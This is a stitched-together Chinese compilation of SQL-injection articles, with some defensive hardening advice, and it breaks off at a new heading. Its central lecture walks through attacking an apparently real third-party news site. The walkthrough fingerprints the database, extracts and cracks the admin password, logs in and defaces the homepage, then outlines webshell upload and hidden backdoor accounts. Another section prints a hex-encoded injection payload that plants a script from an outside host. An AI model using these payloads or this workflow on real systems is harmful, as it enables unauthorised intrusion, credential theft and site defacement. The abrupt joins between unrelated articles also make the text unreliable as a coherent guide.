这里小编给大家分享一些网管必读 从手工注入看防御之access篇WEB安全（共含8篇），方便大家学习。同时，但愿您也能像本文投稿人“最后一个麦旋风”一样，积极向本站投稿分享好文章。
很多情况下，入侵者在使用工具注入时发现工具才解不出来表名和字段名，那是因为所有的工具都有自己的一部字典，这部字典内包括了表名和字段名，如果管理员把表名和字段名改成了不在这部字典内，那么我们使用的工具将无法猜解出字段名和表名，在以下的文章中，将从分析手工注入出发，来打造抵御SQL注入的防线。
入侵者将会构造简单的判断条件，来判断该页面是否存在注入漏洞，一般步骤如下:
这里要检测的页面为127.0.0.1/111/view.asp?id=198
1.入侵者要想对站点进行手工注入就必须对浏览器进行设置，以保证手工注入时能返回出错信息，其操作步骤如下:
右键点击浏览器选择“属性”，在弹出来的对话框中选择“高级”选项卡。如下图所示:
图一
接着去掉“显示友好的HTTP错误信息”前面的钩，最后点击“应用”按钮即可。
2.入侵者向浏览器提交如下url:
127.0.0.1/111/view.asp?id=198 and 1=1
如果存在SQL注入漏洞，就可以查询数据库，1=1是一个恒等式可以忽略，因此会返回一个正常的页面，此页面和127.0.0.1/111/view.asp?id=198一样，这时入侵者便判断此站有希望被注入。如果返回的是一些错误信息，那么一些初级的入侵者可能就会放弃这个站点。
3.入侵者进一步向浏览器提交如下url:
127.0.0.1/111/view.asp?id=198 and 1=2
1=2为一个恒不等式,如果该站点支持数据库查询,则大概会返回如下图所示的信息:
图二
一般出现上图所示入侵者就基本确定此站能够进行SQL注入攻击了。
不过很多时候入侵者只需用一个单引号即可快速判断出目标站点是否存在SQL注入漏洞，向浏览器提交如下url:
127.0.0.1/111/view.asp?id=198’如果返回如下信息则说明有一半机会以上存在注入漏洞:
Microsoft OLE DB Provider for ODBC Drivers 错误’80040e14’
[Microsoft] [ODBC Microsoft Access Driver]字符串的语法错误在查询表达式’id =1’’中。/list.asp,行50
4.此时入侵者开始构造特殊的SQL查询语句开始查询站点数据库的表名，向url提交如下语句:
127.0.0.1/111/view.asp?id=198 and exists(select * from admin)
这个语句是向数据库查询是否存在admin这个表，如果存在则返回正常页面，如果不存在此表则返回出错页面，
一般入侵者会先测试常用的表名，也是一般的注入工具密码字典内存在的表名和字段名。如果表名不在常用表名中则入侵者就会结合社会工程学来猜解表名，这种情况下入侵者猜中表名的几率较低。
5.入侵者在得到表名后开始构造查询语句查询数据库字段名，向url提交如下语句:
127.0.0.1/111/view.asp?id=198 and exists(select user from admin)
这个语句是向数据库中admin表中查询是否存在user字段，如果存在则返回正常页面，如果不存在则返回出错页面。
7.接下来入侵者开始确定字段id的值，构造如下语句可以查询id的值:127.0.0.1/111/view.asp?id=198 and exists (select id from admin where id=1)
正确则返回正确页面，错误则返回出错页面。
6.表名和字段名猜测出来以后，入侵者开始构造查询语句猜测管理员帐号长度，向url提交如下语句:
127.0.0.1/111/view.asp?id=198 and exists(select id from admin where len(user)<6 and id=1)
此语句为查询user字段中用户名长度范围，表示长度小于6，正确则返回正常页面，错误则返回出错页面。
缩小范围，然后构造如下语句确定用户名具体长度:
127.0.0.1/111/view.asp?id=198 and exists(select id from admin where len(user)=5 and id=1)
正确则返回正常页面，错误则返回出错页面。
8.接下来入侵者开始进入最后的环节构造语句查询管理员用户名，向url提交如下语句:127.0.0.1/111/view.asp?id=198 and exists(select count(*) from admin where left(user,1)=’a’)
此语句是从用户名左边开始猜测用户名地一位为a，正确则返回正常页面，错误则返回出错页面，一位一位猜，猜第2位时，修改语句为(user,2)=’ad’，后面类推。
在入侵者得到用户名密码以后，此次注入就接近尾声了。
至于防范方法很简单，从上面的过程可以看出如果表名和字段名不在常用表名和字段名中则入侵者是使用社会工程学来猜解，如果管理员修改的表名和字段名足够复杂则入侵者依然不能达到目的，还有一种简单的防御方法就是到网上去下载一些防注入补丁程序打上就可以了，这种方法是修改站点文件，增加过滤语句来过滤入侵者提交的语句来达到防注入的，这里就不再给大家讲解其原理了。
，脚本漏洞层出不穷，无数网站主机因脚本漏洞被攻破，为防御此类攻击，笔者经过一段时间的尝试，将心得总结成文，以飨广大有此需求的读者（本文测试环境为：Windows Server 、IIS6.0、MS SQL Server ）。
用户权限设置
外部客户端在访问本机网站时是以IUSR_SERVERNAME用户（以下简称为IUSR用户）的权限执行所有操作的，所以为了保证系统的安全，我们必须对该用户的权限作一些限制。
小知识：
IUSR_ServerName是WEB访问者使用的系统默认账号，系统表示为Internet访问用户。当WEB服务器不需用户登录就能访问数据库时，它实际是使用IUSR_ServerName用户身份来访问数据库。IUSR_ServerName是在安装IIS时创建的用户。默认情况下，“启用 Windows 账户同步”是选中的。
首先，要删除Everyone对系统所有的卷的访问权限。由于Everyone是各用户（组）权限设置的父对象，所以在删除Everyone权限之前，要取消子对象对父对象权限的继承。
方法是在所设置目录的“属性”对话框的“安全”选项卡中点击“高级”按钮，取消“允许父对象将其权限传播到该对象及其子对象”的选定（如图1所示）。这时系统会提示选择是否将父对象的权限复制给子对象，笔者建议大家选择复制，这样的好处就是以后不必重新设置管理员用户的权限。
图1
接着就是对IUSR用户作设置。在网站数据库（ACCESS）、上传文件的所在目录，我们须赋予其“列文件目录”、“读取”和“写入”权限（如图2所示）；而在其它无需通过IIS进行写操作的目录，我们只须给予其“列文件目录”和“读取”权限即可（如图3所示）。
图2
图3
到此，对用户权限的设置结束了。
脚本执行设置
这个就简单多了。网站目录大体分两类：一类保存着我们的脚本文件，另一类保存着非脚本文件，例如网站数据库、上传的图片等等。因此，具体的设置也就有两种，前一类允许执行脚本文件，后一类禁止执行其中的脚本文件。
设置方法：在IIS服务管理器中右键点击所需设置目录，在“目录”选项卡里，对“执行权限”进行设置，前一类设置成“纯脚本”，后一类设置成“无”即可，如图4所示。
图4
数据库防下载设置（针对ACCESS数据库）
上面的设置已禁止数据库文件中的ASP脚本的执行，大家也许会想：“那以前用ASP语句出错的方法防止数据库被下载不就不行了么？”别急，我们这次用筛选器来进行数据库的防下载保护，
具体设置方法如下：
在IIS服务管理器中，进入被设置网站的属性框，点击“主目录”、“配置”、“添加”（上面那个），扩展名自然就输入数据库文件的扩展名了，上面的可执行文件项就随便添一个EXE文件就行了，点“确定”就完成了设置（如图5所示）。读者可以试一下，将会出现这种结果：“无法找到该页”（如图6所示）。
图5
图6
MSSQL数据库设置
由于MSSQL数据库服务是以SYSTEM权限运行的，所以通过MSSQL的注入攻击往往能较容易的取得ADMIN权限，因此对它的设置也是脚本安全防护中的重中之重。
首先自然是用户设置。大家都知道“SA”是一个拥有极高权限的用户，所以脚本系统在连接SQL数据库的时候一定不要使用“SA”，我们应该建立一个“database creator”级的新用户，只赋予其对网站数据库的DB_OWNER权限，用它来连接数据库可以很好的保证系统的安全。
小知识：
SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定可以拿到主机的 Administrator了。SQL Server的默认用户sa的权限非常巨大，有种观点是sa的权限要大于administrator的权限，也就是说没有限制的sa用户可以做Windows系统管理员所做的任何事。
接着就是对SQL扩展存储过程进行配置了，大名鼎鼎的xp_cmdshell和xp_dirtree都是其中的成员，还有“臭要饭的！”大哥的GETWEBSHELL中用到的Sp_makewebtask等等。在所有扩展存储过程中，有一部分对文件、目录和注册表进行操作的几乎是没有任何一个管理员会用到， 们倒是用倍儿熟。当然，对这些百害无一利的扩展存储只有一个字可说，就是“删”。
删除方法就是在SQL查询分析器中执行“exec master..sp_dropextendedproc ‘被删除的扩展存储名’”（无双引号）即可（如图7所示）。
图7
需要删除的存储过程列表如下：
Sp_makewebtask
xp_cmdshell
xp_dirtree
xp_fileexist
xp_terminate_process
sp_OAMethod
sp_OACreate
还有以xp_reg开头的好多存储过程，限于篇幅笔者就不一一列出了。
小知识：
存储过程就像是编程用的函数，内容是按需要编写的一系列SQL 语句和可选控制流语句，可由应用程序通过一个调用执行，而且允许用户声明变量、有条件执行以及其它强大的编程功能。每个库都可以存放存储过程，但扩展存储过程只存在master 数据库中，对用户来说，扩展存储过程与普通存储过程一样，执行方法也相同。但扩展存储过程能执行除了数据库之外的许多操作。
虽然我们作了这么多设置，但也不要忘记了保持服务器安全的重中之重，那就是给你的系统打好补丁，系统漏洞可不是通过几个设置就能轻松堵上的。
前言： ①这个晨讲我构思了两个星期，但是之前电脑坏了，一直拖到昨天才开始着手准备，时间仓促，
能力有限，不到之处请大家批评指正；
②我尽量将文中涉及的各种技术原理，专业术语讲的更加通俗易懂，但这个前提是诸位能看得懂
基本的 SQL 语句(想想海璐姐你就懂了)；
③本晨讲形式为PPT+个人演讲+实际演示，但因为TTS征文限制，少去了很多效果，深表遗憾;
④原创 文章 ，达内首发，希望喜欢的同学，多多支持！如有疑问致信：chinanala@gmail.com
=============以下是晨讲内容脚本，实战演练部分配以文字说明=============
大家早上好！今天由我给大家带来《 web 安全之 SQL注入 篇》系列晨讲，首先对课程进行简单介绍，SQL注入篇一共分为三讲：
第一讲：“纸上谈兵：我们需要在本地架设注入环境，构造注入语句，了解注入原理。”；
第二讲：“实战演练：我们要在 互联网 上随机对网站进行友情检测，活学活用，举一反三”；
第三讲：“扩展内容：挂马，提权，留门。此讲内容颇具危害性，不予演示。仅作概述”。
这个主题涉及的东西还是比较多的，结合我们前期所学。主要是让大家切身体会一下，管中窥豹，起到知己知彼的作用。千里之堤溃于蚁穴，以后进入单位，从事相关程序开发，一定要谨小慎微。
问：大家知道骇客们攻击网站主要有哪些手法？
SQL注入，旁注，XSS跨站，COOKIE欺骗，DDOS，0day 漏洞，社会工程学 等等等等，只要有数据交互，就会存在被入侵风险！哪怕你把网线拔掉，物理隔绝，我还可以利用传感器捕捉电磁辐射信号转换成模拟图像。你把门锁上，我就爬窗户；你把窗户关上，我就翻院墙；你把院墙加高，我就挖地洞。。。道高一尺魔高一丈，我始终坚信计算机不存在绝对的安全，你攻我防，此消彼长，有时候，魔与道只在一念之间。
下面，就让我们一起推开计算机中那另一扇不为人知的门---
一、纸上谈兵
（一）了解注入原理
为什么会存在sql注入呢，只能说SQL出身不好。因为sql作为一种解释型语言，在运行时是由一个运行时组件解释语言代码并执行其中包含的指令的语言。基于这种执行方式，产生了一系列叫做代码注入（code injection）的漏洞 。它的数据其实是由程序员编写的代码和用户提交的数据共同组成的。程序员在web开发时，没有过滤敏感字符，绑定变量，导致攻击者可以通过sql灵活多变的语法，构造精心巧妙的语句，不择手段，达成目的，或者通过系统报错，返回对自己有用的信息。
我们在学JDBC和SQL时，讲师跟我们说 Statement不能防止SQL注入, PreparedStatement能够防止SQL注入. 没错, 这句话是没有问题的, 但到底如何进行SQL注入?怎么直观的去了解SQL注入?这还是需要花一定的时间去实验的.预编译语句 java.sql.PreparedStatement ,扩展自 Statement,不但具有 Statement 的所有能力而且具有更强大的功能。不同的是，PreparedStatement 是在创建语句对象的同时给出要执行的sql语句。这样，sql语句就会被系统进行预编译，执行的速度会有所增加，尤其是在执行大语句的时候，效果更加理想。而且PreparedStatement中绑定的sql语句是可以带参数的。（二）架设注入环境
我们知道现在php作为一门网页编程语言真是风生水起，利用lamp(linux+apache+mysql+php)或者wamp(windows+apache+mysql+php)搭建网站环境，如 腾讯 的discuz、阿里的 phpwind 以及织梦的dedecms 等建站程序,占据了国内网站的半壁江山。那么我们今天即以这种架构为假象敌，首先是在本地架设wamp环境。需要用到的工具有：apache,mysql,php ，这几个组件可以单独下载安装，不过安装配置过程较为繁琐，还是建议新手直接从网上下载phpnow ，一个绿色程序，包含上述三个组件，傻瓜化操作就可以了。
然后呢，我们要建立 测试 用的数据表，编写html,php,文件，通过实例具体来演示通过SQL注入，登入后台管理员界面。这里，我之前已经写好了，大家看下：
1.创建一张试验用的数据表：
CREATE TABLE users (
id int(11) NOT NULL AUTO_INCREMENT,
username varchar(64) NOT NULL,
password varchar(64) NOT NULL,
email varchar(64) NOT NULL,
PRIMARY KEY (id),
UNIQUE KEY username (username)
);
添加一条记录用于测试：
INSERT INTO users (username,password,email)
VALUES('tarena',md5('admin'),'tarena@admin.com');
2.接下来，贴上登录界面的源代码：
Sql注入演示
当用户点击提交按钮的时候，将会把表单数据提交给validate.php页面，validate.php页面用来判断用户输入的用户名和密码有没有都符合要求(这一步至关重要，也往往是SQL漏洞所在)。
3.验证模块代码如下：
登录验证
$conn=@mysql_connect(“localhost”,'root','') or die(“数据库连接失败！”);;
mysql_select_db(“injection”,$conn) or die(“您要选择的数据库不存在”);
$name=$_POST['username'];
$pwd=$_POST['password'];
$sql=“select * from users where username='$name' and password='$pwd'”;
$query=mysql_query($sql);
$arr=mysql_fetch_array($query);
if(is_array($arr)){
header(“Location:manager.php”);
}else{
echo “您的用户名或密码输入有误，请重新登录！”;
}
?>
注意到了没有，我们直接将用户提交过来的数据(用户名和密码)直接拿去执行，并没有实现进行特殊字符过滤，待会你们将明白，这是致命的。
代码分析：如果，用户名和密码都匹配成功的话，将跳转到管理员操作界面(manager.php)，不成功，则给出友好提示信息。
（三）演示注入手法
到这里，前期工作已经做好了，我们看这个登录界面，虽说是简陋了点。但具有一般登录认证的功能。普通人看这个不过是一个登录界面，但从攻击者角度来说，透过现象看本质，我们应当意识到隐藏在这个登录页面背后的是一条select 语句---
OK！ 接下来将展开我们的重头戏：SQL注入
填好正确的用户名(tarena)和密码(admin)后，点击提交，将会返回给我们“欢迎管理员”的界面。
因为根据我们提交的用户名和密码被合成到SQL查询语句当中之后是这样的：
select * from users where username='tarena' and password=md5('admin')
很明显，用户名和密码都和我们之前给出的一样，肯定能够成功登陆。但是，如果我们输入一个错误的用户名或密码呢?很明显，肯定登入不了吧。恩，正常情况下是如此，但是对于有SQL注入漏洞的网站来说，只要构造个特殊的“字符串”，照样能够成功登录。
比如：在用户名输入框中输入:’or 1=1#,密码随便输入，这时候的合成后的SQL查询语句为：
select * from users where username='' or 1=1#' and password=md5('')
语义分析：“#”在mysql中是注释符，这样井号后面的内容将被mysql视为注释内容，这样就不会去执行了，换句话说，以下的两句sql语句等价：
select * from users where username='' or 1=1#' and password=md5('')
等价于
select * from users where username='' or 1=1
因为1=1永远都是成立的，即where子句总是为真，将该sql进一步简化之后，等价如下select语句：
select * from users
没错，该sql语句的作用是检索users表中的所有字段
果不其然，我们利用万能语句(’or 1=1#)能够登录！看到了吧，一个经构造后的sql语句竟有如此可怕的破坏力，相信你看到这后，开始对sql注入有了一个理性的认识了吧~
二、实战演练
OK,前面铺垫了那么多，算是给大家科普了，
现在我们进行第二讲，实战演练。开始之前呢，有一个互动环节。现在请大家用自己的手机登录 www.guoshang.tk 这个网址，简单看下。待会等我们注入攻击之后，再次登录，好对比效果，对于sql注入攻击有一个更加直观的认识。
（一）积极备战
1。首先设置浏览器，工具--internet选项--安全--找到“显示友好的http信息”,把前面的勾去掉；
2。打开谷歌，寻找注入点。为了节省时间，这里我已经事先找好目标点
www.guoshang.tk；
谷歌搜索小技巧：筛选关键字：“inurl:/news/read.php?id=”
（二）狼烟四起
1。我们打开这个网址，一个新闻网站，,我们点击[百家争鸣]板块，这是一个国内外新闻速览的栏目，好多时政的帖子，我们点击一个，OK，现在进入单个帖子界面，首先我们看下当前帖子的URL地址，
www.guoshang.tk/news/read.php?id=50
可以看出这是一个动态URL，也就是说可以在地址栏中传参，这是SQL注入的基本条件。
2。判断是否存在sql注入可能。在帖子地址后面空上一格，敲入 and 1=1 ,然后 and 1=2 。这两句什么意思呢？ 一个恒等式，一个恒不等式，敲入 and 1=1 帖子返回正常， and 1=2 时帖子返回出错，说明sql语句被执行，程序没有对敏感字符进行过滤。现在我们可以确定此处是一个SQL注入点，程序对带入的参数没有做任何处理，直接带到数据库的查询语句中。可以推断出在访问
www.guoshang.tk/news/read.php?id=50
时数据库中执行的SQL语句大概是这样的：
Select * from [表名] where id=50
添加and 1=1后的SQL语句：
Select * from [表名] where id=50 and 1=1
由于条件and 1=1永远为真，所以返回的页面和正常页面是一致的
添加and 1=2后的SQL语句：
Select * from [表名] where id=50 and 1=2
由于条件1=2永远为假，所以返回的页面和正常页面不一致
3。爆数据库。确定注入点仅仅意味着开始。现在，我们回到原先的帖子地址：
www.guoshang.tk/news/read.php?id=50
现在要判断数据库类型以及版本，构造语句如下：
www.guoshang.tk/news/read.php?id=50 and ord(mid(version,1,1))>51
发现返回正常页面，说明数据库是mysql，并且版本大于4.0，支持union查询，反之是4.0
以下版本或者其他类型数据库。
4。爆字段。接着我们再构造如下语句来猜表中字段：
a. www.guoshang.tk/news/read.php?id=50 order by 10
返回错误页面，说明字段小于10
b. www.guoshang.tk/news/read.php?id=50 order by 5
返回正常页面，说明字段介于5和10之间
c. www.guoshang.tk/news/read.php?id=50 order by 7
返回错误页面，说明字段大于5小于7，可以判断字段数是6.下面我们再来确认一下
d. www.guoshang.tk/news/read.php?id=50 order by 6
返回正常页面，说明字段确实是6这里采用了“二分查找法”，这样可以减少判断次数，节省时间。如果采用从order by 1依次增加数值的方法来判断，需要7次才可以确定字段数，采用“二分查找法”只需要4次就够。当字段数很大时，二分查找法的优势更加明显，效率更高。
5。爆表.确定字段之后现在我们要构造联合查询语句(union select )，语句如下：
www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6
我们来看帖子页面，原先内容没有了，取而代之的是返回给了我们 三个数字，分别是3，5，6 我们随便选择一个，这里的3，5，6指的是我们可以把联合查询的对应位置替换为 我们想要查询的关键字，比如版本，数据库名称，主要是用来探测web系统的信息。
6。爆用户名、密码。我们选择3 吧，OK,现在把3给替换掉，先查询下数据库库名，构造语句如下
www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,database(),4,5,6
浏览器给我们返回了 xinwen 。说明这个网站 的数据库库名是 xinwen .
现在我们用同样的手法查询下 管理员信息 ，构造语句如下：
www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,user(),4,5,6
返回 root@localhost ，是个管理员权限。
现在我们再用同样的手法查询用户名，密码，构造语句如下：
www.guoshang.tk/news/read.php?id=50 and 1=2 union select
1,2,username,4,5,6 from admin
返回 admin
www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,password,4,5,6 from admin
返回 B2E5B76793EDA747382E81391AA3A400
7。md5解密。看到这里，有的同学可能会有点紧张。其实返回的这个是字符串密码经过32位md5加密后的值。上次李翊大帝给我们复习的时候 讲过加密与解密。也稍稍提到了md5 摘要算法，不可逆。话虽如此，现在互联网上crack md5 “解密”md5 的网站很多，这里我给解密加了引号，是因为其“解密”原理是 md5 值既然不能进行 逆向破解，但是同样的字符串经过同样的md5加密算法所生成的md5值是一样的，我们可以重新构造字符串生成md5值，然后对比两个值，如果一样则字符串一样。有人说，这种方法岂不是海底捞针，试到猴年马月去啊，其实不然，互联网云时代已经到来，大数据的信息挖掘以及分布式运算可以解决很多类似大运算量的问题。我们现在就要来对这个md5值进行比对，有好多网站提供这种服务，我们找一个。（www.md5.com.cn ） 这个网址，我们把这个值复制进去，然后点击“MD5 CRACK“，“解密”时间，视密码复杂度而定，OK，结果出来，(chinaadmin)
8。登录后台。现在我们已经拿到网站的管理员帐号密码，感谢上帝，一路顺风，但还不能高兴得太早。很多情况是你虽然拿到了钥匙，但是找不到门。下面我们就来找一下门，找之前要有个基本思路：
①先试下几个比较常用的目录；
②不行的话，因为这个论坛程序是dedecms5.6 ，所以我们就到 织梦官方，下载一套同样程序， 分析网站管理路径，或者直接百度“dedecms默认管理界面”即可，下载步骤可省略；
③手工不通，借力工具。明小子，啊D，御剑，都可以。
9。这里我们发现此网站依然采用程序默认管理路径：
www.guoshang.tk/dede
输入用户名 admin ，密码 chinaadmin 成功登入。
接下来，我们找到【核心】--【附件管理】--【文件式管理器】--这时我们可以看到网站根目录下所有目录以及文件，下标栏还有几个功能选项，我们可以看到网站首页文件【index.html】，点击【修改】，进入网页源代码编辑模式，删除所有源码(这招有点毒，劝告别改人家的源码，建议新建一个文件)，留个言，表示到此一游。
卑鄙是卑鄙者的通行证，高尚是高尚者的墓志铭----- 北岛
现在是见证奇迹的时刻！请大家再次登录这个网站，有没有把你和你的小伙伴们惊呆呢？！
至此，战斗结束。若干年的免费住宿，一日三餐在向你招手。。。
三、扩展部分
鉴于此讲内容危害性较大，不予演示。只简述其流程。
（一）webshell提权
二讲结束，我们仅仅取得网站管理员权限，操作范围仅限当前网站。革命尚未成功，同志仍需努力。若想深入挖掘，则必须寻求更大突破。获得网站webshell .
①准备一个php网马。（网上泛滥成灾，自己下载。但要注重分辨，小心螳螂捕蝉黄雀在后）;
②登录网站后台--【核心】--【附件管理】--【文件式管理器】--选择下标栏中的【文件上传
选项，上传我们实现准备的php网马文件（tarena.php）；
③上传完毕，点击预览，记录下url地址。新建浏览器窗口，复制粘贴，打开之后，可以看到我们的网马成功挂载，输入密码tarena(密码可以自行用记事本打开修改编辑)；
④进入网马管理界面，你会被那华丽丽的操作选项惊呆了！（取决网马水平，小马就别谈了，这里指的是大马）。从程序目录-网站根目录-各种强大的功能，乃至直接操作服务器磁盘文件，获取各种系统信息，跃马扬鞭，如入无人之境。其破坏力之大，令人咂舌！所以拜托各位亲，一定要盗亦有道，手下留情，除了靠法律监管，也要靠个人道德约束。
（二）暗修栈道
浴血奋战、攻城拔寨之后，怎样保卫来之不易的胜利果实？政治治大国若烹小鲜，入侵则烹小鲜如治大国。为长远计，我们需要建立一种长期和肉鸡保持联系的机制。而且还要很隐蔽，毕竟这是见不得光的。留后门的方法诸多：
①开启telnet服务
建立匿名账户，添加至超级管理员组；
②开启远程终端服务；
③自制木马触发事件...
因系统平台而异，这里不再赘言。
后注：①可能有读者会觉得此文很假，的确，鉴于篇幅问题，文中目标站点是我事先踩点过的，所以才
会一路凯歌，事实上很少会有站点会如此理想，但万变不离其宗，只是时间问题罢了。
②文中所述演示环境建立在同时满足两个条件下：
1.php配置文件中魔术引号已关闭；
2.建站程序中没有对用户输入字符进行过滤。
这种作法是比较专业但也是很安全的也是现在比较流行的作法，但是现在许多的人只是作了一半，只是将数据名改成ASP而以，这样的话直接用FlashGet之类的下载工具一样可以将数据库下载，这种方式的正确作法有两步：
第一步：在数据库内创建一个字段，名称随意，类型是OLE对象，内容设置为单字节型的“ ”<%“，即(ASP代码chrB(asc(”<“)) & chrB(asc(”%“))的运行结果)
第二步：将数据库改名为ASP
这样从URL上直接请求这个数据库将会提示”缺少关闭脚本分隔符“，从而拒绝下载，因为这个方式比较麻烦我在网上找了一段小代码来完成OLE对象的插入工作，只要将数据库名设置好，然后放在和数据库内一目录运行一下就可以了，
代码全文如下：
<%
db=”d.mdb“ '这里改成您的数据库地址
set conn=server.createobject(”Adodb.Connection“)
connstr=”Provider=Microsoft.Jet.OLEDB.4.0;Data Source=“&Server.MapPath(db)
conn.open connstr www.2cto.com
conn.execute(”create table notdownload(notdown oleobject)“)
set rs=server.createobject(”adodb.recordset“)
sql=”select * from notdownload“
rs.open sql，conn，1，3
rs.addnew
rs(”notdown“).appendchunk(chrB(asc(”<“)) & chrB(asc(”%“)))
rs.update
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
这段代码运行完之后将会在数据库内生成一个nodownload表，表内字段是notdown，
如果数据库内已有同名的数据表存在请将代码内的nodownload改成自己想要的数据表名即可。
作者 Beautiful Encounter——
SQL注入作为直接威胁web业务的最严重攻击行为，已经被大多数的网站管理员所了解，这种通过HTTP标准端口，利用网页编码不严谨，提交精心构造的代码实现对数据库非授权访问的攻击方法，已经被越来越多的scriptguy（脚本小子）成功掌握并广泛实践，没错，他们可能并不知道SQL注入的原理，不知道ASP，不知道PHP，但他们有工具，全自动的，完善的，高效率的工具，这些工具使得任何一个有简单网络知识的中学学生可以很容易的拿到某个 的最高管理员权限，而且做这些事情并不会比你在周六的中午下楼去买一听可乐要更困难。
而随着互联网黑色产业链的浮出水面，骇客们发现攻击网站不仅仅可以用作向朋友炫耀的资本，还可以作为购买游戏点卡或者是数码相机的资金来源：在被攻击的网站嵌入脚本木马，可以轻易盗窃那些访问了受攻击网站，但个人PC安全防护措施不全面用户的私密信息，比如游戏账号密码，或者是银行账号密码。
经常使用google的用户一定对这段话不陌生“该网站可能含有恶意软件，有可能会危害您的电脑”，这意味着这个网站也许已经遭遇挂马黑手，成为骇客们的众多取款点之一。本文就一例真实案例，来介绍一下网站的安全防护。
某市房地产网站的管理员小****上班就被叫到领导办公室去了，因为网站带上了google小尾巴：“该网站可能含有恶意软件，有可能会危害您的电脑”，购房者看到这一提示信息，纷纷给该市房产管理局打电话，于是就有了上面的一幕。回到座位上的小李一筹莫展：网站服务器已经全盘杀毒好几次了，没有发现病毒存在的痕迹，看来只能找专业安全厂商解决了。小李选择的是国内著名的一家网络安全公司，在向该安全公司提交web日志的第二天，小李就收到了回信，从日志的分析结果中，可以清楚的看到骇客的攻击走向：这是一次非常典型的SQL注入攻击，首先使用dEcLaRe建立游标，遍历数据库中所有允许写入字符串的相关字段，并通过执行exec操作，使用update语句替换了网站页面的正常文件，插入了如下一段十六进制字符：
exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']
=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D68
7474703A2F2F732E736565392E75732F732E6A733E3C2F7363
726970743E3C212D2D%20aS%20vArChAr(67))')%20f
经过解密，可以得到如下字符串
”][/title][script. src=s.see9.us/s.js][/script][!—
这里面的s.see9.us/s.js就是导致网站带有小尾巴的罪魁祸首，
经过一天的奋力工作，网页中所有的小尾巴都清理干净了，在安全工程师的建议下，小李还向StopBadware.org 申请了重新的索引，并向google提交了审核申请。做完了这些之后，小李又一次陷入了困扰：如何防范网站再次遭受SQL注入攻击呢？网络上提供了一些代码修改级的防御方法，可是需要对每一个页面都做仔细的检查，看着自己所负责网站的10000余个页面，小李只能是苦笑，联想起夏天那次微软英国网站被SQL注入的案例，小李在内心否认了彻底检查一遍页面代码的做法。关键时刻，又是安全工程师提出了建议：部署天清入侵防御产品，利用天清IPS的基于注入攻击手法的检测原理，可以对各种SQL注入攻击的变种进行防御。和传统的SQL注入防御方法不一样的是，天清入侵防御产品可以独立部署，不需要对被保护的web系统做任何修改，而且和那些基于特征的检测方法不一样的是，天清IPS采用的VSID算法关注的是攻击手法而非攻击代码，其检测准确率有很大改善。
在部署了入侵防御产品的当天晚上，小李就在入侵防御产品的控制中心看到了发现了SQL注入攻击并被阻断的报警信息，而网站安然无恙。
友情提示：对于防御SQL注入攻击，检查网页代码是必要的，骇客获得网站权限，并不仅仅为了炫耀，可能还会有更肮脏的目的；其次，你需要做的事是挽回名誉损失，毕竟挂上google小尾巴不是件光荣的事；最后，你绝对不能忘记的事还有修补漏洞，在没有“打扫”干净你的系统前，骇客进出你的网络将会像喝下午茶一样简单，你可以选择修改源代码来过滤关键字（记住不要矫枉过正，笔者就见过不允许用户名叫select/and等SQL关键字的网站），或者是你也可以选择使用专业的IPS产品。
很多 web 开发者没有注意到 SQL 查询是可以被篡改的，因而把 SQL 查询当作可信任的命令，殊不知道，SQL 查询可以绕开访问控制，从而绕过身份验证和权限检查。更有甚者，有可能通过 SQL 查询去运行主机操作系统级的命令。
直接 SQL 命令注入就是攻击者常用的一种创建或修改已有 SQL 语句的技术，从而达到取得隐藏数据，或覆盖关键的值，甚至执行数据库主机操作系统命令的目的。这是通过应用程序取得用户输入并与静态参数组合成 SQL 查询来实现的。下面将会给出一些真实的例子。
由于在缺乏对输入的数据进行验证，并且使用了超级用户或其它有权创建新用户的数据库帐号来连接，攻击者可以在数据库中新建一个超级用户。 例子 27-2. 一段实现数据分页显示的代码……也可以被用作创建一个超级用户（PostgreSQL系统）。
预防措施
也许有人会自我安慰，说攻击者要知道数据库结构的信息才能实施上面的攻击，
没错，确实如此。但没人能保证攻击者一定得不到这些信息，一但他们得到了，数据库有泄露的危险。如果你在用开放源代码的软件包来访问数据库，比如论坛程序，攻击者就很容得到到相关的代码。如果这些代码设计不良的话，风险就更大了。
这些攻击总是建立在发掘安全意识不强的代码上的。所以，永远不要信任外界输入的数据，特别是来自于客户端的，包括选择框、表单隐藏域和cookie。就如上面的第一个例子那样，就算是正常的查询也有可能造成灾难。
永远不要使用超级用户或所有者帐号去连接数据库。要用权限被严格限制的帐号。
检查输入的数据是否具有所期望的数据格式。PHP 有很多可以用于检查输入的函数，从简单的变量函数和字符类型函数（比如 is_numeric，ctype_digit()）到复杂的 Perl 兼容正则表达式函数都可以完成这个工作。
如果程序等待输入一个数字，可以考虑使用 is_numeric() 来检查，或者直接使用 settype() 来转换它的类型，也可以用 sprintf() 把它格式化为数字。 例子 27-6. 一个实现分页更安全的方法
一、引子
长夜慢慢，无心睡眠……
无意中翻到几年前听的一首名为《祖先的阴影》的摇滚，这么长久的历史，混合着许多的罪恶与功绩；这么“灿烂的文化”，夹杂着太多的愚昧与文明，美好的，如汉字，围棋古筝，诗词曲赋等；糟糕的，如一辈子只会干“杀尽叛贼、占据王位，选好王妃，建造坟堆”四件事的皇帝及官僚制度，小脚，太监及八股文等等。
噢，且慢，八股文——不要言之过早！今天，让我用八股文这一旧瓶，来包装一下IT方面的新酒；把数据库注入这一有几个年头的安全技术，再写一篇略有新意的文章。
二、概要
